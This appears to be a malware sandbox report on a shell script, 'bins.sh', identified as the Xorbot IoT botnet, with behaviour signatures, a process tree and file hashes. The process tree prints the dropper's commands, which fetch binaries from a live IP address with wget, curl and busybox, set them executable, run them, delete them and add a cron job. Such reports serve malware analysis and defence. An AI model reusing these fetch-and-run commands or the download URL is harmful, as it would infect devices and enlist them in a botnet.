Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/01/2025, 01:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250114-bnc4rssnd1
  • SHA256 31f2db278251d6fbc718b868718f077aafc1580f0dd44bc2fb3acacf3f32944a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2034) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:674
        • /usr/bin/wget
          wget http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:692
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          ./7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:701
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:703
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:704
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:705
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:706
            • /bin/rm
              rm 7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
              2⤵
              • System Network Configuration Discovery
              PID:708
            • /usr/bin/wget
              wget http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
              2⤵
                PID:711
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                2⤵
                  PID:712
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                  2⤵
                  • Writes file to tmp directory
                  PID:793
                • /bin/chmod
                  chmod 777 l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:796
                • /tmp/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                  ./l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                  2⤵
                  • Executes dropped EXE
                  PID:798
                • /bin/rm
                  rm l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                  2⤵
                    PID:799
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                    2⤵
                      PID:800
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                      2⤵
                        PID:801
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                        2⤵
                        • Writes file to tmp directory
                        PID:802
                      • /bin/chmod
                        chmod 777 VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                        2⤵
                        • File and Directory Permissions Modification
                        PID:805
                      • /tmp/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                        ./VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                        2⤵
                        • Executes dropped EXE
                        PID:807
                      • /bin/rm
                        rm VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                        2⤵
                          PID:823
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                          2⤵
                            PID:832
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                            2⤵
                              PID:833
                            • /bin/busybox
                              /bin/busybox wget http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                              2⤵
                              • Writes file to tmp directory
                              PID:835
                            • /bin/chmod
                              chmod 777 frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                              2⤵
                              • File and Directory Permissions Modification
                              PID:839
                            • /tmp/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                              ./frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                              2⤵
                              • Executes dropped EXE
                              PID:841
                            • /bin/rm
                              rm frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                              2⤵
                                PID:843
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                                2⤵
                                  PID:845

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
                                    • Path /tmp/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                                    • Path /tmp/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                                    • Path /tmp/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                                    • Path /tmp/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.V0TGPs
                                    • Path /var/spool/cron/crontabs/tmp.V0TGPs
                                    • Size 210B
                                    • SHA256 65662cc0ba4d02f99ef91deef0404e2ce6bd1fb17ab11c8058915c869ceabe2d
                                    • MD5 SHA1 SHA512
                                    Submit Download